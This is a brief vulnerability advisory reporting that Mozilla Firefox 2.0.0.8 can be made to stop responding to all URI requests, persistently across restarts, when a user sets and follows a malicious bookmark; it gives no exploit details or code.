Mozilla Firefox is prone to a vulnerability that results in a persistent denial of service.

This issue occurs when a victim sets a malicious bookmark and then follows it.

Successful attacks will cause Firefox to stop responding to all URI requests.

NOTE: This condition persists even after the browser is restarted.

Mozilla Firefox 2.0.0.8 is vulnerable; other versions may also be affected.
